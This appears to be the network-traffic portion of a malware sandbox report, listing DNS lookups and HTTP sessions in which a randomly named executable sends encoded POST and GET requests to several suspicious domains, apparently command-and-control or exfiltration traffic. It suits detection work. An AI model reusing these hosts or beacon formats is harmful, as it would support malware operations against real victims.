                                                                                                                                                Nov 5, 2024 16:24:21.194173098 CET8049987209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:21.194230080 CET4998780192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:21.992310047 CET4998780192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:23.014607906 CET4998880192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:23.019694090 CET8049988209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:23.022768021 CET4998880192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:23.034611940 CET4998880192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:23.039896965 CET8049988209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:23.039975882 CET8049988209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:23.706655025 CET8049988209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:23.706782103 CET8049988209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:23.706798077 CET8049988209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:23.706845045 CET4998880192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:23.707485914 CET8049988209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:23.707499981 CET8049988209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:23.707537889 CET4998880192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:23.708287001 CET8049988209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:23.708301067 CET8049988209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:23.708313942 CET8049988209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:23.708333969 CET4998880192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:23.708357096 CET4998880192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:23.709076881 CET8049988209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:23.709091902 CET8049988209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:23.709147930 CET4998880192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:23.711733103 CET8049988209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:23.711960077 CET8049988209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:23.711978912 CET8049988209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:23.712003946 CET4998880192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:23.745542049 CET8049988209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:23.745604038 CET4998880192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:24.540617943 CET4998880192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:25.558964968 CET4998980192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:25.563985109 CET8049989209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:25.564054012 CET4998980192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:25.572668076 CET4998980192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:25.577739954 CET8049989209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:26.283037901 CET8049989209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:26.321710110 CET8049989209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:26.322772980 CET4998980192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:26.326617002 CET4998980192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:26.331645012 CET8049989209.74.95.29192.168.2.9

                                                                                                                                                UDP Packets

                                                                                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                Nov 5, 2024 16:23:18.926695108 CET6036253192.168.2.91.1.1.1
                                                                                                                                                Nov 5, 2024 16:23:18.970593929 CET53603621.1.1.1192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:34.527213097 CET5631253192.168.2.91.1.1.1
                                                                                                                                                Nov 5, 2024 16:23:34.751388073 CET53563121.1.1.1192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:48.542551994 CET5030853192.168.2.91.1.1.1
                                                                                                                                                Nov 5, 2024 16:23:48.856478930 CET53503081.1.1.1192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:03.277618885 CET5210253192.168.2.91.1.1.1
                                                                                                                                                Nov 5, 2024 16:24:03.295003891 CET53521021.1.1.1192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:17.810477972 CET5762253192.168.2.91.1.1.1
                                                                                                                                                Nov 5, 2024 16:24:17.857228041 CET53576221.1.1.1192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:43.874598980 CET5500853192.168.2.91.1.1.1

                                                                                                                                                DNS Queries

                                                                                                                                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                Nov 5, 2024 16:23:18.926695108 CET192.168.2.91.1.1.10x632cStandard query (0)www.moritynomxd.xyzA (IP address)IN (0x0001)false
                                                                                                                                                Nov 5, 2024 16:23:34.527213097 CET192.168.2.91.1.1.10xdadStandard query (0)www.kovallo.cloudA (IP address)IN (0x0001)false
                                                                                                                                                Nov 5, 2024 16:23:48.542551994 CET192.168.2.91.1.1.10x61a6Standard query (0)www.sppsuperplast.onlineA (IP address)IN (0x0001)false
                                                                                                                                                Nov 5, 2024 16:24:03.277618885 CET192.168.2.91.1.1.10x4849Standard query (0)www.tracy.clubA (IP address)IN (0x0001)false
                                                                                                                                                Nov 5, 2024 16:24:17.810477972 CET192.168.2.91.1.1.10x528bStandard query (0)www.sterkus.xyzA (IP address)IN (0x0001)false
                                                                                                                                                Nov 5, 2024 16:24:43.874598980 CET192.168.2.91.1.1.10x2771Standard query (0)api.msn.comA (IP address)IN (0x0001)false

                                                                                                                                                DNS Answers

                                                                                                                                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                Nov 5, 2024 16:23:18.970593929 CET1.1.1.1192.168.2.90x632cNo error (0)www.moritynomxd.xyz172.81.61.224A (IP address)IN (0x0001)false
                                                                                                                                                Nov 5, 2024 16:23:34.751388073 CET1.1.1.1192.168.2.90xdadNo error (0)www.kovallo.cloudkovallo.cloudCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                Nov 5, 2024 16:23:34.751388073 CET1.1.1.1192.168.2.90xdadNo error (0)kovallo.cloud81.2.196.19A (IP address)IN (0x0001)false
                                                                                                                                                Nov 5, 2024 16:23:48.856478930 CET1.1.1.1192.168.2.90x61a6No error (0)www.sppsuperplast.onlinesppsuperplast.onlineCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                Nov 5, 2024 16:23:48.856478930 CET1.1.1.1192.168.2.90x61a6No error (0)sppsuperplast.online94.73.146.114A (IP address)IN (0x0001)false
                                                                                                                                                Nov 5, 2024 16:24:03.295003891 CET1.1.1.1192.168.2.90x4849No error (0)www.tracy.clubtracy.clubCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                Nov 5, 2024 16:24:03.295003891 CET1.1.1.1192.168.2.90x4849No error (0)tracy.club3.33.130.190A (IP address)IN (0x0001)false
                                                                                                                                                Nov 5, 2024 16:24:03.295003891 CET1.1.1.1192.168.2.90x4849No error (0)tracy.club15.197.148.33A (IP address)IN (0x0001)false
                                                                                                                                                Nov 5, 2024 16:24:17.857228041 CET1.1.1.1192.168.2.90x528bNo error (0)www.sterkus.xyz209.74.95.29A (IP address)IN (0x0001)false
                                                                                                                                                Nov 5, 2024 16:24:43.881788969 CET1.1.1.1192.168.2.90x2771No error (0)api.msn.comapi-msn-com.a-0003.a-msedge.netCNAME (Canonical name)IN (0x0001)false

                                                                                                                                                HTTP Request Dependency Graph

                                                                                                                                                • www.moritynomxd.xyz
                                                                                                                                                • www.kovallo.cloud
                                                                                                                                                • www.sppsuperplast.online
                                                                                                                                                • www.tracy.club
                                                                                                                                                • www.sterkus.xyz

                                                                                                                                                HTTP Packets

                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                0192.168.2.949839172.81.61.224805268C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe
                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                Nov 5, 2024 16:23:18.991583109 CET414OUTGET /v5tr/?UPXL=bb7xLbVx1lkD7N&76yp5b=rKvRMuVKXCO914EMf6FJZqs15EwODFtrZQGlCKKDXZs+G4DSdFL+ryYGM1VkNXNOLhPAbMSex0AuWObt4o/1tiXGxnpWKIlAMdpeetvztbm0D0P/FQ== HTTP/1.1
                                                                                                                                                Accept: */*
                                                                                                                                                Accept-Language: en-US,en
                                                                                                                                                Connection: close
                                                                                                                                                Host: www.moritynomxd.xyz
                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)


                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                1192.168.2.94989281.2.196.19805268C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe
                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                Nov 5, 2024 16:23:34.906476021 CET670OUTPOST /kmgk/ HTTP/1.1
                                                                                                                                                Accept: */*
                                                                                                                                                Accept-Encoding: gzip, deflate, br
                                                                                                                                                Accept-Language: en-US,en
                                                                                                                                                Connection: close
                                                                                                                                                Content-Type: application/x-www-form-urlencoded
                                                                                                                                                Content-Length: 195
                                                                                                                                                Cache-Control: no-cache
                                                                                                                                                Host: www.kovallo.cloud
                                                                                                                                                Origin: http://www.kovallo.cloud
                                                                                                                                                Referer: http://www.kovallo.cloud/kmgk/
                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                Data Raw: 37 36 79 70 35 62 3d 64 73 4d 71 6b 78 78 6d 51 6a 2b 56 39 65 34 37 6a 47 43 55 6f 31 68 65 35 7a 33 65 47 6f 30 79 6a 56 42 77 38 63 64 74 33 71 4c 7a 62 2f 63 7a 66 6e 72 38 70 44 7a 73 70 67 61 57 5a 51 4d 45 30 4d 77 71 68 62 30 4d 45 6a 64 66 43 41 30 5a 6c 33 70 47 65 6a 6f 50 43 5a 48 79 5a 56 4e 33 47 64 67 7a 34 57 73 4d 43 72 65 6e 2b 35 43 76 42 58 31 75 6f 68 52 56 5a 76 4b 70 4a 50 2f 49 2f 52 6a 55 74 72 76 79 70 78 4e 4b 79 46 69 7a 41 4f 52 62 69 39 64 63 6f 58 68 4b 63 6a 61 49 41 46 70 68 54 2f 68 49 43 4c 4c 69 50 51 41 49 38 34 6b 5a 46 64 73 6c 71 53 79 30
                                                                                                                                                Data Ascii: 76yp5b=dsMqkxxmQj+V9e47jGCUo1he5z3eGo0yjVBw8cdt3qLzb/czfnr8pDzspgaWZQME0Mwqhb0MEjdfCA0Zl3pGejoPCZHyZVN3Gdgz4WsMCren+5CvBX1uohRVZvKpJP/I/RjUtrvypxNKyFizAORbi9dcoXhKcjaIAFphT/hICLLiPQAI84kZFdslqSy0
                                                                                                                                                Nov 5, 2024 16:23:35.751807928 CET355INHTTP/1.1 404 Not Found
                                                                                                                                                Server: nginx
                                                                                                                                                Date: Tue, 05 Nov 2024 15:23:35 GMT
                                                                                                                                                Content-Type: text/html
                                                                                                                                                Transfer-Encoding: chunked
                                                                                                                                                Connection: close
                                                                                                                                                Content-Encoding: gzip
                                                                                                                                                Data Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0


                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                2192.168.2.94990481.2.196.19805268C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe
                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                Nov 5, 2024 16:23:37.448745966 CET694OUTPOST /kmgk/ HTTP/1.1
                                                                                                                                                Accept: */*
                                                                                                                                                Accept-Encoding: gzip, deflate, br
                                                                                                                                                Accept-Language: en-US,en
                                                                                                                                                Connection: close
                                                                                                                                                Content-Type: application/x-www-form-urlencoded
                                                                                                                                                Content-Length: 219
                                                                                                                                                Cache-Control: no-cache
                                                                                                                                                Host: www.kovallo.cloud
                                                                                                                                                Origin: http://www.kovallo.cloud
                                                                                                                                                Referer: http://www.kovallo.cloud/kmgk/
                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                Data Raw: 37 36 79 70 35 62 3d 64 73 4d 71 6b 78 78 6d 51 6a 2b 56 38 39 67 37 68 68 57 55 70 56 68 64 32 54 33 65 4d 49 30 32 6a 56 4e 77 38 5a 39 39 33 5a 2f 7a 56 37 59 7a 4f 57 72 38 6b 6a 7a 73 6e 41 62 63 64 51 4d 50 30 4d 38 49 68 61 49 4d 45 6a 35 66 43 46 59 5a 6c 67 39 46 65 7a 6f 42 58 4a 48 6a 47 46 4e 33 47 64 67 7a 34 57 34 6d 43 72 32 6e 2b 4a 53 76 54 47 31 76 33 52 52 53 50 2f 4b 70 44 76 2f 45 2f 52 6a 79 74 71 7a 49 70 79 31 4b 79 42 6d 7a 44 63 31 55 6f 39 64 65 6b 48 67 71 55 7a 50 4d 59 58 56 2b 52 2b 73 73 53 34 54 53 49 78 67 57 74 4b 74 43 51 4b 73 43 74 31 37 63 69 44 45 4a 38 48 57 55 70 4e 4d 5a 6f 66 38 4c 36 45 48 4b 4a 77 3d 3d
                                                                                                                                                Data Ascii: 76yp5b=dsMqkxxmQj+V89g7hhWUpVhd2T3eMI02jVNw8Z993Z/zV7YzOWr8kjzsnAbcdQMP0M8IhaIMEj5fCFYZlg9FezoBXJHjGFN3Gdgz4W4mCr2n+JSvTG1v3RRSP/KpDv/E/RjytqzIpy1KyBmzDc1Uo9dekHgqUzPMYXV+R+ssS4TSIxgWtKtCQKsCt17ciDEJ8HWUpNMZof8L6EHKJw==
                                                                                                                                                Nov 5, 2024 16:23:38.438122988 CET355INHTTP/1.1 404 Not Found
                                                                                                                                                Server: nginx
                                                                                                                                                Date: Tue, 05 Nov 2024 15:23:38 GMT
                                                                                                                                                Content-Type: text/html
                                                                                                                                                Transfer-Encoding: chunked
                                                                                                                                                Connection: close
                                                                                                                                                Content-Encoding: gzip
                                                                                                                                                Data Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0


                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                3192.168.2.94991381.2.196.19805268C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe
                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                Nov 5, 2024 16:23:40.003776073 CET1707OUTPOST /kmgk/ HTTP/1.1
                                                                                                                                                Accept: */*
                                                                                                                                                Accept-Encoding: gzip, deflate, br
                                                                                                                                                Accept-Language: en-US,en
                                                                                                                                                Connection: close
                                                                                                                                                Content-Type: application/x-www-form-urlencoded
                                                                                                                                                Content-Length: 1231
                                                                                                                                                Cache-Control: no-cache
                                                                                                                                                Host: www.kovallo.cloud
                                                                                                                                                Origin: http://www.kovallo.cloud
                                                                                                                                                Referer: http://www.kovallo.cloud/kmgk/
                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                Data Raw: 37 36 79 70 35 62 3d 64 73 4d 71 6b 78 78 6d 51 6a 2b 56 38 39 67 37 68 68 57 55 70 56 68 64 32 54 33 65 4d 49 30 32 6a 56 4e 77 38 5a 39 39 33 59 48 7a 56 4f 4d 7a 66 46 7a 38 6c 6a 7a 73 35 51 62 52 64 51 4d 65 30 50 4d 4d 68 61 45 32 45 68 78 66 44 6e 51 5a 30 46 42 46 51 7a 6f 42 49 35 47 6b 5a 56 4e 69 47 64 78 36 34 57 6f 6d 43 72 32 6e 2b 50 2b 76 44 6e 31 76 73 52 52 56 5a 76 4b 6c 4a 50 2b 62 2f 52 37 4d 74 71 6d 31 71 43 56 4b 78 6c 43 7a 42 75 74 55 67 39 64 59 6e 48 67 49 55 7a 54 44 59 58 4a 63 52 2b 5a 35 53 34 62 53 4e 51 49 42 2b 70 5a 2f 43 35 6f 7a 70 56 57 31 6a 46 6f 54 79 32 54 50 77 64 52 35 35 2b 34 56 2b 6e 71 44 4b 47 75 43 75 43 70 54 69 67 56 76 62 39 76 32 46 65 50 35 6c 6f 5a 65 39 49 61 44 33 50 4f 48 77 6d 4d 51 2f 37 30 71 6f 55 63 4b 53 47 53 4c 42 2b 43 30 32 2f 6e 6e 49 51 34 7a 35 77 4e 44 33 4c 69 49 2f 72 6f 35 64 53 2b 61 6b 47 47 44 44 4a 53 65 54 75 57 74 49 59 54 45 34 63 6e 33 72 30 44 79 69 45 34 65 63 32 4b 77 57 63 74 72 58 42 66 37 6a 30 39 64 2b 38 69 [TRUNCATED]
                                                                                                                                                Data Ascii: 76yp5b=dsMqkxxmQj+V89g7hhWUpVhd2T3eMI02jVNw8Z993YHzVOMzfFz8ljzs5QbRdQMe0PMMhaE2EhxfDnQZ0FBFQzoBI5GkZVNiGdx64WomCr2n+P+vDn1vsRRVZvKlJP+b/R7Mtqm1qCVKxlCzButUg9dYnHgIUzTDYXJcR+Z5S4bSNQIB+pZ/C5ozpVW1jFoTy2TPwdR55+4V+nqDKGuCuCpTigVvb9v2FeP5loZe9IaD3POHwmMQ/70qoUcKSGSLB+C02/nnIQ4z5wND3LiI/ro5dS+akGGDDJSeTuWtIYTE4cn3r0DyiE4ec2KwWctrXBf7j09d+8i7tfSeWLNQqX50oCDZWgl1UcgUdtVwRG8hbNc0akvIG6iZljDxEdzsMv052NpwKGSUoTHeHP0X10svpneqoeK0yfSBx2FgugkgM/vOptBnQTWYTTrajXFpX6dWjBoPE0XY7CE87ebRi3E5by3+EfOci1QaGWCW08bPgVt3CTrcW9CTvvA1t+31+5Re+nIuTv7EU+58QMtmsR3Cl0oGJarE+hoEM+EZW4PdXkVdkgm883yfvd1n3GcJvnrAGwzA9trr3oWYDC5YBk8EroG6dq5yaO968Vja9IJ6yWbHOGF7JxYq4E/NBHqvX+3QCN9giWTOJjuBjsg3Ouga8BrgT+9r4OsN7Ngb+TfgNKbo5P0vHP2gtjeb74EimgL2Ys8MImStLxPMJc4HF+ucFpL10+NRKTiFsPVmmE7F/C1Aq+8+ZCyfbA4aPKBC1Aji/T2AXuEmCqO/FMH2xFKauXvvwlPYgLkYLniEtDuM28fCM0J28wOVt0pMQKQdzTTzvK9WH2fR+tSiFdbvw6/ESMk0P6nRAc2QzCh4wQ/kmXKUcQ7jQFTE7PWYFSc7uP02M0X7KaKyLW7ePP76BcIyfvy+g9bo/s+8m4aN2OCYu8c47JYnVaarweToJRQsfVHyoxohUyE3+5unsRkox5+d92XOeNZHNQatd8XPwvxyn [TRUNCATED]
                                                                                                                                                Nov 5, 2024 16:23:40.886673927 CET355INHTTP/1.1 404 Not Found
                                                                                                                                                Server: nginx
                                                                                                                                                Date: Tue, 05 Nov 2024 15:23:40 GMT
                                                                                                                                                Content-Type: text/html
                                                                                                                                                Transfer-Encoding: chunked
                                                                                                                                                Connection: close
                                                                                                                                                Content-Encoding: gzip
                                                                                                                                                Data Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0


                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                4192.168.2.94992281.2.196.19805268C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe
                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                Nov 5, 2024 16:23:42.539468050 CET412OUTGET /kmgk/?76yp5b=QukKnG46OQSX7O08sGKvg3RM3X3qAaYvhEJu7ZdGlt3+bssdK2PjljbXjRv2eFs2wJoIh8oMTDRJEFcKnARzRzkSQpK8SApNFtkA5U4MUp6J2Mz6QQ==&UPXL=bb7xLbVx1lkD7N HTTP/1.1
                                                                                                                                                Accept: */*
                                                                                                                                                Accept-Language: en-US,en
                                                                                                                                                Connection: close
                                                                                                                                                Host: www.kovallo.cloud
                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                Nov 5, 2024 16:23:43.390218973 CET691INHTTP/1.1 404 Not Found
                                                                                                                                                Server: nginx
                                                                                                                                                Date: Tue, 05 Nov 2024 15:23:43 GMT
                                                                                                                                                Content-Type: text/html
                                                                                                                                                Content-Length: 548
                                                                                                                                                Connection: close
                                                                                                                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                5192.168.2.94995294.73.146.114805268C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe
                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                Nov 5, 2024 16:23:48.875286102 CET691OUTPOST /becc/ HTTP/1.1
                                                                                                                                                Accept: */*
                                                                                                                                                Accept-Encoding: gzip, deflate, br
                                                                                                                                                Accept-Language: en-US,en
                                                                                                                                                Connection: close
                                                                                                                                                Content-Type: application/x-www-form-urlencoded
                                                                                                                                                Content-Length: 195
                                                                                                                                                Cache-Control: no-cache
                                                                                                                                                Host: www.sppsuperplast.online
                                                                                                                                                Origin: http://www.sppsuperplast.online
                                                                                                                                                Referer: http://www.sppsuperplast.online/becc/
                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                Data Raw: 37 36 79 70 35 62 3d 41 4f 71 41 6d 43 52 4f 38 78 35 70 42 7a 34 30 55 47 37 53 41 4f 6b 4b 69 4c 78 34 34 36 31 61 4e 71 36 64 6a 62 5a 2b 46 4b 4b 58 57 6e 44 43 4e 6d 46 76 52 63 4d 2b 37 72 50 78 67 51 42 47 48 34 78 58 76 46 33 75 2b 37 2b 33 45 61 55 6b 78 4e 53 49 75 2b 74 6b 69 58 32 4e 4a 64 78 57 76 79 69 72 55 39 45 6e 51 44 53 4e 72 36 47 59 43 45 6d 42 62 47 4f 66 78 4c 4c 45 30 43 39 68 38 44 59 52 65 65 33 68 73 51 39 6c 4a 41 7a 53 77 45 30 4f 68 34 71 5a 38 46 41 45 58 55 46 7a 4a 76 4e 36 67 47 38 34 45 75 46 64 30 4b 44 46 57 6b 57 6c 38 51 74 53 31 51 5a 39
                                                                                                                                                Data Ascii: 76yp5b=AOqAmCRO8x5pBz40UG7SAOkKiLx4461aNq6djbZ+FKKXWnDCNmFvRcM+7rPxgQBGH4xXvF3u+7+3EaUkxNSIu+tkiX2NJdxWvyirU9EnQDSNr6GYCEmBbGOfxLLE0C9h8DYRee3hsQ9lJAzSwE0Oh4qZ8FAEXUFzJvN6gG84EuFd0KDFWkWl8QtS1QZ9


                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                6192.168.2.94996894.73.146.114805268C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe
                                                                                                                                                TimestampBytes transferredDirectionData
